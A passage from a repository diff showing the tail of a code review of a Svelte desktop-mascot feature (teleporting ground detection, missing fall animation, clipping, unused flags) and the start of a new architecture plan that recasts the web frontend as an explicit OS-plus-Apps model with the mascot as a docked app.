actions.ts, RadialMenu.svelte, NameDialog.svelte, types.ts).
|
||||
- Ran the app (`npm run dev`), hatched a chick, and interactively tested:
|
||||
drag-and-release at various heights, opening/closing/dragging a window
|
||||
under the mascot, the right-click menu (including nested Feed), plain-click
|
||||
pet, and the hatch dialog.
|
||||
- For the two timing-sensitive claims below, screenshot-based verification
|
||||
was too slow/laggy to distinguish "instant teleport" from "fast but real
|
||||
fall" — so both were re-verified with a single `javascript_exec` call that
|
||||
dispatches synthetic `PointerEvent`s to drag the mascot precisely onto a
|
||||
window, then clicks that window's close button and polls
|
||||
`canvas.getBoundingClientRect()` every ~65ms for 2+ seconds, all inside one
|
||||
script (no inter-call latency to contaminate the result).
|
||||
- `npm run build` passes with no new warnings.
|
||||
|
||||
## Findings
|
||||
|
||||
### Finding 1 (Critical) — Ground changes teleport the mascot instead of animating a fall or rise
|
||||
|
||||
**Root cause**, `web/src/lib/mascot/Mascot.svelte` `tick()` (~lines 111-131):
|
||||
every tick, `computeGroundAt(runtime.x)` recomputes the ground line, and if
|
||||
the mascot is "grounded" (not already `falling`/`dragged`) and the ground
|
||||
changed at all, this runs unconditionally:
|
||||
|
||||
```js
|
||||
if (runtime.behavior !== 'falling' && runtime.behavior !== 'dragged' &&
|
||||
runtime.y >= prevGroundY - 1 && newGround !== prevGroundY) {
|
||||
runtime.y += newGround - prevGroundY // instant, any magnitude, either direction
|
||||
}
|
||||
```
|
||||
|
||||
This was meant to make the mascot "ride along" smoothly while a window it's
|
||||
standing on is being dragged (and it does do that correctly — verified,
|
||||
see below). But it fires for *any* ground change, not just a smooth drag,
|
||||
and it runs *before* `stepMascot()`/`behavior.ts` gets a chance to notice
|
||||
"I'm now floating" and start a real `falling` behavior — so the FSM's own
|
||||
fall-detection in the `wander`/`idle` cases
|
||||
(`if (rt.y < groundY(rt) - 1) forceBehavior(rt, 'falling')`) never actually
|
||||
fires; by the time it runs, `runtime.y` has already been silently snapped to
|
||||
match.
|
||||
|
||||
**Proven case A — window closes underneath the mascot (should fall):**
|
||||
dragged the mascot onto an open window's title bar via synthetic pointer
|
||||
events (landed cleanly: sprite bottom = 96px = window top = 96px), then
|
||||
clicked the window's close button and polled position every 65ms:
|
||||
|
||||
| t (ms) | sprite bottom (px) |
|
||||
|---|---|
|
||||
| 0 (before close) | 96 |
|
||||
| 67 | **950** (floor) |
|
||||
| 132 – 2000 | 950 (unchanged) |
|
||||
|
||||
The coded physics (gravity 1400 px/s², capped at 320 px/s) would take
|
||||
**~2.8 seconds** to fall 854px. It happened in **under 67ms** — an instant
|
||||
snap, not a fall. No `falling`/`land` animation plays.
|
||||
|
||||
**Proven case B — window opens/overlaps underneath a grounded mascot
|
||||
(should NOT rise, or should climb visibly):** with the mascot standing on
|
||||
the empty desktop floor (bottom = 950px), opened the Tasks window (which
|
||||
renders top=71px, bottom=751px at that position — its underside never
|
||||
reaches the floor, leaving a ~200px gap). Within 150ms, the mascot's sprite
|
||||
bottom was already **71px** — snapped straight up onto the new window's
|
||||
title bar, 880px in under 150ms, despite the window's bottom edge (751px)
|
||||
never actually touching the mascot's original position. `computeGroundAt()`
|
||||
has no check that the candidate window is anywhere near the mascot's
|
||||
*current* position — it just returns the topmost window overlapping the
|
||||
mascot's x column, full stop, so any window opening/moving/resizing
|
||||
anywhere in that column instantly relocates the mascot to its top edge, no
|
||||
matter the vertical distance.
|
||||
|
||||
**What does work correctly:** dragging an already-mascot-bearing window
|
||||
smoothly (title-bar drag, not open/close) — the ride-along correctly
|
||||
translates the mascot's y by the same delta as the window moves, so it
|
||||
visually "stands" on the window through the drag. Also, manual drag-and-drop
|
||||
of the mascot itself (pick it up, release above ground) *does* enter a real,
|
||||
animated `falling` → `land` → `idle` sequence, because that path is driven
|
||||
entirely by `releaseFromDrag()` from the pointer handler, which isn't
|
||||
touched by the tick-level snap.
|
||||
|
||||
**Fix direction:** `computeGroundAt` needs to return the highest surface
|
||||
*at or below* the mascot's current `y* (a downward raycast from the current
|
||||
position), not the global topmost window in the column. Separately, the
|
||||
tick-level "ride along" needs to distinguish *small, continuous* deltas
|
||||
(the window carrying the mascot while being dragged — legitimate instant
|
||||
translation) from *large or discontinuous* ones (a window appearing,
|
||||
disappearing, or the mascot walking off an edge — should hand off to
|
||||
`forceBehavior(rt, 'falling')` for a downward change, and a short new
|
||||
`rising`/hop transition for an upward one, not a silent teleport in either
|
||||
direction).
|
||||
|
||||
### Finding 2 (Critical) — the one real fall is a flat, straight drop; this is the user's specific complaint
|
||||
|
||||
Even in the one path that *does* animate (manual drag-release), the fall
|
||||
itself has no attempt at flight:
|
||||
|
||||
- `falling.enter()` in `behavior.ts` hard-sets `rt.vx = 0` — zero horizontal
|
||||
drift, ever.
|
||||
- `fall-flutter`'s animation is just `jump.png` on a loop
|
||||
(`sprites.ts`) — the *name* says flutter, the physics is a monotonic
|
||||
`vy = min(TERMINAL_VY, vy + GRAVITY*dt)` capped fall, no oscillation, no
|
||||
upward impulses.
|
||||
- There's an already-defined, already-loaded `flap` animation
|
||||
(`jump.png` again, distinct `AnimName`) that **no behavior ever
|
||||
references** — it's dead weight in the registry right now.
|
||||
|
||||
This is exactly the "not always fall directly, try to fly a little" ask.
|
||||
|
||||
### Finding 3 (Critical) — no toss/throw momentum on release
|
||||
|
||||
The original plan called for tracking recent pointer deltas during a drag
|
||||
and using them to give the release a real velocity (a toss/arc). The
|
||||
shipped `onPointerUp`/`onPointerMove` in `Mascot.svelte` track no pointer
|
||||
history at all — releasing while moving fast imparts nothing; the mascot
|
||||
just drops straight down from wherever the pointer let go, same as a slow
|
||||
release.
|
||||
|
||||
### Finding 4 (Moderate) — sprite/name/bubble clip off-screen near the top edge
|
||||
|
||||
The mascot's canvas is 20×28 logical px (extra headroom above the sprite
|
||||
for the name label and reaction bubble), positioned bottom-anchored at
|
||||
`runtime.y`. When the ground is near the top of the viewport (e.g.
|
||||
standing on a window whose title bar sits close to `y=0`, which is common
|
||||
for a freshly-opened window), the canvas — and the name label, positioned
|
||||
even further above it — render partially or fully off-screen.
|
||||
Reproduced directly: standing on a window with top=32px clipped the
|
||||
sprite from `y=-52` to `y=32`, more than half invisible above the browser
|
||||
viewport.
|
||||
|
||||
### Finding 5 (Minor) — `interruptsSleep` is defined but never read
|
||||
|
||||
`stimuli.ts`'s `ReactionDef.interruptsSleep` (set `true` only on `alarmed`)
|
||||
documents an intended rule ("sleep is broken only by reactions that opt
|
||||
in"), but nothing in `MascotLayer.svelte`'s dispatch callback or
|
||||
`behavior.ts` ever reads it — every reaction unconditionally calls
|
||||
`forceBehavior(runtime, 'react', ...)` regardless of current behavior.
|
||||
Practically, this also means a reaction can visually interrupt an active
|
||||
**drag** (the sprite briefly shows a reaction animation mid-drag, though
|
||||
position tracking is unaffected since that's driven separately by the
|
||||
pointer handler) — the documented "`dragged` always wins" rule isn't
|
||||
enforced either.
|
||||
|
||||
### Finding 6 (Cosmetic / scope gap) — radial menu isn't round
|
||||
|
||||
The implementing agent deviated from the original "round, Sims-style"
|
||||
requirement to a vertical rounded-button column (documented in the plan's
|
||||
deviation note — the polar ring layout hid labels). It works correctly,
|
||||
including nesting, but it's a direct miss against what was asked for. Worth
|
||||
a deliberate decision: keep the readable column, or revisit a true ring
|
||||
with icon-only buttons + a hover/center text readout.
|
||||
|
||||
### Finding 7 (Minor) — first-hatch naming can be dismissed with no easy way back
|
||||
|
||||
`NameDialog`'s Escape handler always calls `onCancel`, which just closes it
|
||||
— on the very first hatch prompt (no `Cancel` button is shown in `hatch`
|
||||
mode, but Escape still works via the window-level listener), a user who
|
||||
hits Escape is left with an unnamed, un-hatched egg and no obvious way to
|
||||
reopen the dialog short of reloading or finding the Debug → Force hatch
|
||||
menu action.
|
||||
|
||||
## Improvement plan
|
||||
|
||||
Ordered by priority; 1–3 directly address the user's stated complaints.
|
||||
|
||||
### P0 — Fix the ground-detection/teleport bug (Finding 1)
|
||||
|
||||
1. Change `computeGroundAt(x)` to only consider a window a ground candidate
|
||||
if its top edge is **at or below** the mascot's current `y` (plus a
|
||||
small tolerance for the "about to land on it" case) — i.e. the nearest
|
||||
surface *underneath*, not the global topmost overlapping window.
|
||||
2. Replace the unconditional `tick()`-level position snap with a threshold
|
||||
check: deltas under ~4px/tick (a window being smoothly dragged with the
|
||||
mascot riding it) still translate instantly; anything larger routes
|
||||
through `forceBehavior(rt, 'falling')` (ground dropped) or a new short
|
||||
`rising` behavior (ground rose — a quick hop/flutter-up, not a snap).
|
||||
3. This also fixes the FSM's existing (currently unreachable) `wander`/`idle`
|
||||
fall-detection — once the snap isn't preempting it, that code path
|
||||
should work as originally intended.
|
||||
|
||||
### P1 — Make falling actually look like an attempt at flight (Findings 2 & 3)
|
||||
|
||||
4. Wire the unused `flap` animation into `falling`: instead of one
|
||||
continuous `fall-flutter` loop, alternate short `flap` bursts (each
|
||||
burst applies a brief small negative `vy` impulse — a wing-beat that
|
||||
measurably slows the descent for a few frames) with `fall-flutter` glide
|
||||
segments. Net effect: still descends, but in a scalloped, fluttering
|
||||
arc rather than a flat monotonic line — reads as "trying to fly, not
|
||||
quite making it" rather than "dropped like a rock."
|
||||
5. Add a small horizontal drift during `falling` (e.g. a slow sine wobble
|
||||
or a fraction of the pre-release pointer velocity — see next point) so
|
||||
the fall isn't perfectly vertical either.
|
||||
6. Track a short rolling history of pointer positions during `dragged`
|
||||
(last ~100ms of `onPointerMove` samples is enough) and derive a release
|
||||
velocity from it in `onPointerUp`; feed that into `falling`'s initial
|
||||
`vx`/`vy` instead of hard-zeroing them, so a fast toss actually arcs.
|
||||
|
||||
### P2 — Cosmetic/correctness cleanups (Findings 4, 5, 7)
|
||||
|
||||
7. Clamp the sprite's screen-space draw position (or reserve top margin on
|
||||
the surface) so the canvas/name/bubble never render above `y=0`,
|
||||
independent of where the logical ground sits.
|
||||
8. Either wire `interruptsSleep`/a drag-guard into the reaction dispatch
|
||||
path in `MascotLayer.svelte` (skip forcing `react` while
|
||||
`runtime.behavior === 'dragged'`, and gate sleep-interruption on the
|
||||
flag as documented), or remove the field if the current
|
||||
always-interrupts behavior is actually preferred — right now it's an
|
||||
unenforced contract, which is worse than either explicit choice.
|
||||
9. On first hatch, prevent the naming dialog from being fully dismissed
|
||||
without a name (or make it trivially reopenable — e.g. clicking the
|
||||
still-unnamed egg reopens it) rather than requiring a reload/debug
|
||||
menu to recover.
|
||||
|
||||
### P3 — Ideas worth considering ("cool stuff")
|
||||
|
||||
Not committed, listed for discussion:
|
||||
|
||||
- **Investigate badges**: have the mascot occasionally walk toward a
|
||||
desktop icon that currently has an unread badge (Signals, Operations)
|
||||
and peck at it curiously — a very literal, delightful expression of
|
||||
"aware of its environment" using icon positions already in
|
||||
`stores/icons.ts`.
|
||||
- **Startle-and-flee on alarm**: instead of a static `react-alarm` frame,
|
||||
have the `alarmed` reaction actually scurry the mascot a short distance
|
||||
(reuse `wander`-style motion) before settling, more visceral than a
|
||||
still reaction sprite.
|
||||
- **A "home" spot**: remember a preferred idle location (e.g. near its
|
||||
hatch point or a favorite window) and occasionally wander back to it,
|
||||
giving its roaming a sense of place rather than pure randomness.
|
||||
- **True round radial menu v2**: revisit Finding 6 with icon-only buttons
|
||||
on an actual ring and a text label in a tooltip/center readout on
|
||||
hover/focus — closer to the original ask while keeping labels legible
|
||||
(the problem the first attempt hit).
|
||||
- **Distinct adult sprite** (already flagged as deferred polish in the
|
||||
original plan's deviation note) — currently chick and adult share art.
|
||||
|
||||
## Verification (once fixed)
|
||||
|
||||
- Re-run this document's two instrumented tests (drag-onto-window-then-close;
|
||||
open-window-over-grounded-mascot) and confirm the position samples show a
|
||||
smooth multi-frame transition instead of a single-tick jump.
|
||||
- Manually: drag the mascot up and release with a fast flick — confirm it
|
||||
arcs/drifts rather than dropping straight down, and that `flap` frames
|
||||
visibly appear during the descent.
|
||||
- Stand the mascot on a window, drag that window so its title bar approaches
|
||||
`y=0` — confirm the sprite/name/bubble stay on-screen.
|
||||
- Trigger a reaction (e.g. force an `eureka`) while mid-drag — confirm the
|
||||
sprite keeps showing the `dragged` animation, not the reaction, until
|
||||
released (if Finding 5 is fixed by enforcing the guard).
|
||||
- `npm run build` stays clean.
|
||||
647
plans/2026-07-21-frontend-os-apps-architecture.md
Normal file
647
plans/2026-07-21-frontend-os-apps-architecture.md
Normal file
@@ -0,0 +1,647 @@
|
||||
# Frontend as OS + Apps: architecture audit & refactor plan
|
||||
|
||||
> **Status:** Planned
|
||||
> **Stakeholders:** Operator, Nomos
|
||||
> **Confidence:** Verified (direct code audit against `web/src/` as of 2026-07-21)
|
||||
|
||||
---
|
||||
|
||||
## Summary
|
||||
|
||||
The Oikos frontend is already built on an implicit OS + Apps metaphor — a
|
||||
desktop surface, floating windows, a taskbar, and a registry of
|
||||
independently-rendered apps. This plan makes that metaphor **explicit**,
|
||||
strengthens the contracts between Base OS and Apps, refactors the mascot
|
||||
into a proper App, and lays out the extensibility path for dynamic app
|
||||
installation without touching shell code.
|
||||
|
||||
The current codebase is remarkably close. The audit found one structural
|
||||
gap (mascot is hardcoded into the shell, not a registry App) and three
|
||||
contract weaknesses (positional content resolution, icon store assumes a
|
||||
static registry, no stable OS-service contract for Apps). Fixing them
|
||||
requires no architectural rewrite — the bones are correct.
|
||||
|
||||
---
|
||||
|
||||
## 1. Audit: what we have today
|
||||
|
||||
### 1.1 The implicit OS layer (exists, undocumented)
|
||||
|
||||
| Service | File | Role |
|
||||
|---------|------|------|
|
||||
| **Window Manager** | `lib/stores/windows.ts:19-31` | wmkit manager + desktop + persist. Single-instance, global. |
|
||||
| **Desktop Surface** | `components/desktop-shell/Desktop.svelte` | Full-viewport shell: background, icons, launcher, windows, mascot, taskbar. |
|
||||
| **Window Layer** | `components/desktop-shell/WindowLayer.svelte` | Content resolver: maps window ID → component. z-40. |
|
||||
| **Taskbar** | `components/desktop-shell/Taskbar.svelte` | Window buttons + tray. Renders from `wmState.order`. |
|
||||
| **Icon Grid** | `lib/stores/icons.ts` | Column/row grid, drag-to-reorder, localStorage persistence. |
|
||||
| **Task Launcher** | `components/desktop-shell/TaskLauncher.svelte` | Centered text input → new task window. |
|
||||
| **Auth Gate** | `App.svelte` | Config screen vs. Desktop. Token check, OIDC init, context/SSE subscribe. |
|
||||
| **Session Windows** | `components/SessionChatWindow.svelte` | Per-session chat window, splitpanes layout. |
|
||||
| **New Task Window** | `components/desktop-shell/NewTaskChat.svelte` | Singleton compose window. |
|
||||
| **Entity Windows** | `components/EntityDetailContent.svelte` | Entity detail (bare slug window IDs). |
|
||||
| **Legacy Hash Routes** | `App.svelte:17-39` | Backward compat for old `#/kb`, `#/entity/<slug>` bookmarks. |
|
||||
|
||||
The shell has **no hardcoded app list** — `Desktop.svelte:90` reads `APPS`
|
||||
from the registry, `WindowLayer.svelte:36-37` resolves app windows through
|
||||
`appById`, `Taskbar.svelte:32` resolves icons the same way. Adding an app
|
||||
is one entry in `apps.ts`.
|
||||
|
||||
### 1.2 The App Registry (exists, nearly complete)
|
||||
|
||||
**File:** `lib/apps.ts` (130 lines)
|
||||
**Interface:** `AppDef` — id, title, icon (Lucide Component), component
|
||||
(Svelte Component), width, height, minWidth, minHeight, optional badge
|
||||
function.
|
||||
**Window namespacing:** `app:<id>` (`apps.ts:122`) — distinct from
|
||||
`session:<id>`, `new-task`, and bare entity slugs.
|
||||
|
||||
**Current apps (7):**
|
||||
|
||||
| ID | Page Component | Badge? |
|
||||
|----|---------------|--------|
|
||||
| `tasks` | `pages/Overview.svelte` | — |
|
||||
| `kb` | `pages/KnowledgeBase.svelte` | — |
|
||||
| `ops` | `pages/Ops.svelte` | approvals_pending |
|
||||
| `signals` | `pages/Signals.svelte` | open signal count |
|
||||
| `knowledge` | `pages/Knowledge.svelte` | — |
|
||||
| `learning` | `pages/Learning.svelte` | — |
|
||||
| `settings` | `pages/Settings.svelte` | — |
|
||||
|
||||
**What works:**
|
||||
|
||||
- Data-driven. One array → three surfaces auto-render.
|
||||
- Namespaced window IDs prevent collisions with session/entity windows.
|
||||
- Single-instance enforcement (double-click focuses, never duplicates).
|
||||
- Badge system: pure function over `DashboardSummary`, consumed by icon +
|
||||
taskbar.
|
||||
- Tested (`apps.test.ts`): unique IDs, positive sizes, `appById` index,
|
||||
round-trips.
|
||||
- Orphan cleanup: `WindowLayer.svelte:25-30` closes persisted windows whose
|
||||
app was removed from the registry.
|
||||
|
||||
**What's missing from the AppDef contract:**
|
||||
|
||||
1. **No stable OS-service surface.** Apps reach into the OS by importing
|
||||
arbitrary `$lib` modules (`openEntityWindow` from `windows.ts`,
|
||||
`summary` from `context.ts`). It works because apps are compiled in, but
|
||||
there is no documented boundary between "stable OS API an App may use"
|
||||
and "shell internals that happen to be exported." Phase 3 (installed
|
||||
third-party apps) needs that boundary to exist first.
|
||||
2. **No docked/overlay app kind.** An app that renders *on* the desktop
|
||||
(above windows, no titlebar, no window at all) has no representation in
|
||||
the contract — which is exactly why the mascot is hardcoded.
|
||||
|
||||
### 1.3 The Mascot: embedded, not an app
|
||||
|
||||
**Files:** `lib/mascot/` (12 files, ~2.8k lines)
|
||||
**Integration:** `Desktop.svelte:105` — hardcoded `<MascotLayer />` at z-45,
|
||||
after WindowLayer and before Taskbar.
|
||||
|
||||
**Key facts that shape the refactor (verified):**
|
||||
|
||||
- `MascotLayer.svelte` takes **no props**. It creates the `MascotRuntime`
|
||||
per mount, seeds position from the persisted model, and attaches the
|
||||
stimulus bus itself (`MascotLayer.svelte:38-61`, comment at line 6-7).
|
||||
- The persistent model (stage, name, happiness, xp, **lastPos**) is
|
||||
module-scoped in `state.svelte.ts` and survives unmount/remount.
|
||||
- The sprite `Image` cache is module-scoped in `sprites.ts` — remounts do
|
||||
not re-fetch the 19 PNG sheets.
|
||||
- The stimulus bus subscribes to global stores (`focusedSessionId` from
|
||||
`windows.ts`, per-session factories from `chat.ts`/`workspace.ts`) — no
|
||||
dependency on how MascotLayer is mounted.
|
||||
|
||||
**Consequence:** hiding the mascot = `{#if visible}<MascotLayer />{/if}`.
|
||||
State, sprites, and position all restore naturally. No `keepAlive`
|
||||
machinery is needed.
|
||||
|
||||
### 1.4 Three contract weaknesses
|
||||
|
||||
#### Weakness 1: Positional content resolution
|
||||
|
||||
`WindowLayer.svelte:70-79` resolves content by checking ID patterns in a
|
||||
hardcoded order:
|
||||
|
||||
```svelte
|
||||
{#if id.startsWith(SESSION_PREFIX)}
|
||||
<SessionChatWindow ... />
|
||||
{:else if id === NEW_TASK_WINDOW_ID}
|
||||
<NewTaskChat />
|
||||
{:else if app}
|
||||
<app.component />
|
||||
{:else}
|
||||
<EntityDetailContent ... />
|
||||
{/if}
|
||||
```
|
||||
|
||||
A new window category must be inserted at the right position in this chain.
|
||||
Works today because prefixes are mutually exclusive by construction, but
|
||||
it's a landmine: add `'lxc:'` container consoles or `'log:'` viewers and
|
||||
you're editing shell internals.
|
||||
|
||||
#### Weakness 2: Icon store snapshots the registry at module load
|
||||
|
||||
`icons.ts:23` builds default positions from `APPS`, and `icons.ts:48`
|
||||
freezes an `appIds` set used to filter persisted positions in `load()`.
|
||||
Both evaluate **once at import time**. A late-registering app (lazy load,
|
||||
Phase 2+) would have its persisted position silently dropped by the
|
||||
`load()` filter — the merge-over-defaults logic only helps apps that were
|
||||
already in `APPS` when the module first evaluated.
|
||||
|
||||
#### Weakness 3: Window chrome is fully shell-owned, with no extension point
|
||||
|
||||
Every window gets the same titlebar (`WindowLayer.svelte:40-67`): drag
|
||||
handle, title, minimize/maximize/close. Correct default — apps should not
|
||||
draw their own chrome — but there is no sanctioned way for an app to
|
||||
contribute a titlebar affordance (e.g. Tasks might want an inline "New
|
||||
task" button). **Decision: document as a designed extension point, defer
|
||||
implementation until an app actually needs it** (see §2.5). Not a Phase 1
|
||||
deliverable.
|
||||
|
||||
---
|
||||
|
||||
## 2. The OS + Apps model
|
||||
|
||||
### 2.1 Metaphor
|
||||
|
||||
```
|
||||
┌──────────────────────────────────────────────────┐
|
||||
│ Auth Gate (App.svelte) │
|
||||
│ ┌──────────────────────────────────────────────┐│
|
||||
│ │ Desktop Surface ││
|
||||
│ │ ┌─────────────┐ ┌─────────────┐ ││
|
||||
│ │ │ App Window │ │ App Window │ z-40 ││
|
||||
│ │ │ (Tasks) │ │ (Signals) │ ││
|
||||
│ │ └─────────────┘ └─────────────┘ ││
|
||||
│ │ ┌──────────────────────┐ ││
|
||||
│ │ │ Docked Apps (Cluck) │ z-45, no chrome ││
|
||||
│ │ └──────────────────────┘ ││
|
||||
│ │ ┌──────┐ ┌──────┐ ┌──────┐ z-0 ││
|
||||
│ │ │ Icon │ │ Icon │ │ Icon │ ││
|
||||
│ │ └──────┘ └──────┘ └──────┘ ││
|
||||
│ └──────────────────────────────────────────────┘│
|
||||
│ ┌──────────────────────────────────────────────┐│
|
||||
│ │ Taskbar [Tasks] [Signals] 🎨 ⚙ v0.9 ││
|
||||
│ └──────────────────────────────────────────────┘│
|
||||
└──────────────────────────────────────────────────┘
|
||||
|
||||
Base OS = Auth Gate + Desktop Surface + Window Manager + Taskbar
|
||||
+ Icon Grid + Docked Layer + OS-service surface
|
||||
Apps = Tasks, KB, Ops, Signals, Knowledge, Learning, Settings, Cluck
|
||||
```
|
||||
|
||||
### 2.2 App kinds
|
||||
|
||||
Two kinds, distinguished by one flag:
|
||||
|
||||
| Kind | Window | Titlebar | Taskbar button | Opened by |
|
||||
|------|--------|----------|----------------|-----------|
|
||||
| **Windowed** (default) | wmkit floating window | Yes | Yes (automatic) | `openAppWindow(id)` → `wm.open()` |
|
||||
| **Docked** (`docked: true`) | None — renders on the Docked Layer | No | No | `openAppWindow(id)` → toggles visibility |
|
||||
|
||||
Docked apps are **not** wmkit citizens. They render in a dedicated layer
|
||||
above the window layer, their visibility is a persisted boolean, and
|
||||
clicking their desktop icon toggles show/hide. They never appear in the
|
||||
taskbar because they never enter `wmState.order`.
|
||||
|
||||
### 2.3 The App contract
|
||||
|
||||
```typescript
|
||||
interface AppDef {
|
||||
// Identity (required)
|
||||
id: string // unique; window IDs are "app:<id>"
|
||||
title: string // desktop icon label + window titlebar
|
||||
icon: Component // Lucide icon (desktop icon + taskbar)
|
||||
component: Component // Svelte component; receives NO props
|
||||
|
||||
// Kind
|
||||
docked?: boolean // true = Docked Layer app, no window (default false)
|
||||
|
||||
// Window geometry — required for windowed apps, forbidden for docked apps
|
||||
width?: number
|
||||
height?: number
|
||||
minWidth?: number
|
||||
minHeight?: number
|
||||
|
||||
// Behavior (all optional)
|
||||
badge?: (summary: DashboardSummary | null) => number
|
||||
noIcon?: boolean // true = registered but no desktop icon
|
||||
}
|
||||
```
|
||||
|
||||
**Validation rules** (enforced by `apps.test.ts`, not runtime checks):
|
||||
|
||||
- `id` unique, non-empty.
|
||||
- Windowed apps: `width`/`height` present and positive.
|
||||
- Docked apps: `width`/`height` absent (geometry is meaningless without a
|
||||
window).
|
||||
- Every app has an icon component (even `noIcon` apps — the taskbar and
|
||||
future surfaces need it).
|
||||
|
||||
**Design decisions, and why:**
|
||||
|
||||
- **No `keepAlive`.** Module-scoped state (mascot model, sprite cache)
|
||||
already survives unmount. If a future app needs close-to-hide semantics,
|
||||
that's a wmkit feature request, not an AppDef field.
|
||||
- **No `noTaskbar`.** Docked apps never reach the taskbar; windowed apps
|
||||
always should. A windowed app with no taskbar button is an orphan the
|
||||
operator can't find.
|
||||
- **No lifecycle hooks in the contract.** Svelte's own `onMount`/`onDestroy`
|
||||
already fire on window open/close. A shell-level `onRegister` is only
|
||||
meaningful once apps register dynamically — deferred to Phase 3, where
|
||||
it becomes the permission handshake.
|
||||
- **Apps receive no props.** The component is the app. It imports OS
|
||||
services (§2.4) directly. This keeps the shell→app edge one-way and
|
||||
trivially mockable.
|
||||
|
||||
### 2.4 The OS-service surface (AppOS)
|
||||
|
||||
The stable set of `$lib` exports an App may import. Everything else in
|
||||
`$lib` is shell-internal and may change without notice. This is a
|
||||
**documentation contract** today (apps are compiled in); it becomes an
|
||||
**enforced sandbox boundary** in Phase 3.
|
||||
|
||||
| Service | Import | Stability |
|
||||
|---------|--------|-----------|
|
||||
| Open an app window | `openAppWindow(id)` from `$lib/stores/windows` | Stable |
|
||||
| Open an entity window | `openEntityWindow(slug)` from `$lib/stores/windows` | Stable |
|
||||
| Open a task window | `openTaskWindow(sessionId, title)` from `$lib/stores/windows` | Stable |
|
||||
| Dashboard summary | `summary`, `subscribeContext` from `$lib/stores/context` | Stable |
|
||||
| Live events | `subscribeEvents` from `$lib/stores/events` | Stable |
|
||||
| Per-session chat | `chatFor(sessionId)` from `$lib/stores/chat` | Stable |
|
||||
| Per-session workspace | `workspaceFor(sessionId)` from `$lib/stores/workspace` | Stable |
|
||||
| REST API | `$lib/api` functions | Stable (generated from OpenAPI) |
|
||||
| UI primitives | `$lib/components/ui/*` | Stable |
|
||||
| Theme | `getTheme`, `setTheme` from `$lib/stores/theme.svelte` | Stable |
|
||||
|
||||
### 2.5 Content resolution — fixed
|
||||
|
||||
Replace the positional `if/else` chain with a prefix → component map owned
|
||||
by the shell:
|
||||
|
||||
```typescript
|
||||
// WindowLayer.svelte — one map, dispatch by prefix. New window kinds
|
||||
// register here, not in an if/else chain.
|
||||
const CONTENT_RESOLVERS: Array<[prefix: string, resolve: (id: string) => Component | null]> = [
|
||||
['session:', () => SessionChatWindow],
|
||||
['app:', (id) => appById.get(id.slice(4))?.component ?? null],
|
||||
]
|
||||
|
||||
function resolveContent(id: string): Component | null {
|
||||
if (id === NEW_TASK_WINDOW_ID) return NewTaskChat
|
||||
for (const [prefix, resolve] of CONTENT_RESOLVERS) {
|
||||
if (id.startsWith(prefix)) return resolve(id)
|
||||
}
|
||||
return EntityDetailContent // bare entity slug fallback
|
||||
}
|
||||
```
|
||||
|
||||
Adding a `'lxc:'` console window kind later = one array entry. The
|
||||
existing orphan-close effect (`WindowLayer.svelte:25-30`) is kept as-is;
|
||||
Phase 2 must gate it on registry-ready (§5).
|
||||
|
||||
### 2.6 Designed extension points (documented, not built)
|
||||
|
||||
| Extension | Mechanism when built | Trigger |
|
||||
|-----------|---------------------|---------|
|
||||
| Titlebar actions | `titlebarActions?: Component` on AppDef, rendered left of min/max/close | First app that needs one |
|
||||
| App-scoped state | `state?: () => Record<string, unknown>` on AppDef | First app with cross-mount state that isn't module-scoped |
|
||||
| `onRegister` handshake | Called with a scoped AppOS capability object | Phase 3 (dynamic install) |
|
||||
|
||||
Documenting these now prevents the Phase 1 contract from painting itself
|
||||
into a corner; building them now would be speculative.
|
||||
|
||||
---
|
||||
|
||||
## 3. The mascot as an App
|
||||
|
||||
### 3.1 Registration
|
||||
|
||||
```typescript
|
||||
{
|
||||
id: 'mascot',
|
||||
title: 'Cluck',
|
||||
icon: EggIcon, // Lucide egg (chick/adult swap is a future nicety)
|
||||
component: MascotLayer,
|
||||
docked: true,
|
||||
// no width/height — docked
|
||||
// no badge — a permanent "1" is noise, not information
|
||||
}
|
||||
```
|
||||
|
||||
### 3.2 The docked-visibility store (new)
|
||||
|
||||
```typescript
|
||||
// lib/stores/docked.ts
|
||||
// Visibility for docked apps — persisted, so "hidden" survives reloads.
|
||||
// Keyed by app id; absent key = visible (default-on for new docked apps).
|
||||
export const dockedVisibility: Readable<Record<string, boolean>>
|
||||
export function toggleDocked(appId: string): void
|
||||
export function isDockedVisible(appId: string): boolean
|
||||
```
|
||||
|
||||
- localStorage key: `oikos-docked-apps`
|
||||
- Default: visible (a fresh install shows the mascot; hiding is opt-out)
|
||||
- Merge semantics mirror `icons.ts`: unknown persisted keys are kept (an
|
||||
uninstalled docked app that gets reinstalled remembers its state)
|
||||
|
||||
### 3.3 Shell changes
|
||||
|
||||
**`windows.ts` — `openAppWindow` branches on kind:**
|
||||
|
||||
```typescript
|
||||
export function openAppWindow(appId: string): void {
|
||||
const app = appById.get(appId)
|
||||
if (!app) return
|
||||
if (app.docked) { toggleDocked(appId); return } // ← the branch the first draft missed
|
||||
// ... existing wm.open path unchanged
|
||||
}
|
||||
```
|
||||
|
||||
This is the load-bearing detail: the icon click in `Desktop.svelte:93`
|
||||
calls `openAppWindow(app.id)` for every app uniformly. Branching **inside**
|
||||
`openAppWindow` means Desktop.svelte, legacy hash resolution, and any
|
||||
future caller need no special cases.
|
||||
|
||||
**`Desktop.svelte` — replace hardcoded `<MascotLayer />` with:**
|
||||
|
||||
```svelte
|
||||
<DockedLayer />
|
||||
```
|
||||
|
||||
**`components/desktop-shell/DockedLayer.svelte` — new, ~30 lines:**
|
||||
|
||||
```svelte
|
||||
{#each APPS.filter(a => a.docked) as app (app.id)}
|
||||
{#if $dockedVisibility[app.id] ?? true}
|
||||
<app.component />
|
||||
{/if}
|
||||
{/each}
|
||||
```
|
||||
|
||||
Rendered after `<WindowLayer />` inside the surface div, so docked apps
|
||||
share the surface's coordinate space (the mascot's ground-line computation
|
||||
depends on this — `MascotLayer.svelte:9-13`).
|
||||
|
||||
**`MascotLayer.svelte` — zero changes.** No props today, no props after.
|
||||
|
||||
### 3.4 What the mascot gains
|
||||
|
||||
| Feature | Before | After |
|
||||
|---------|--------|-------|
|
||||
| Registry entry | None — hardcoded in shell | First-class AppDef |
|
||||
| Show/hide | Impossible — always mounted | Icon click toggles; persists across reloads |
|
||||
| Shell coupling | `Desktop.svelte` imports mascot internals | Shell knows only `AppDef` |
|
||||
| Precedent for overlay apps | None | Any `docked: true` app (clock, net monitor) uses the same path |
|
||||
|
||||
### 3.5 What the mascot does *not* gain (deliberately)
|
||||
|
||||
- **No taskbar button.** No window → no taskbar entry. The desktop icon is
|
||||
the control.
|
||||
- **No window chrome.** It's a desktop creature, not a document.
|
||||
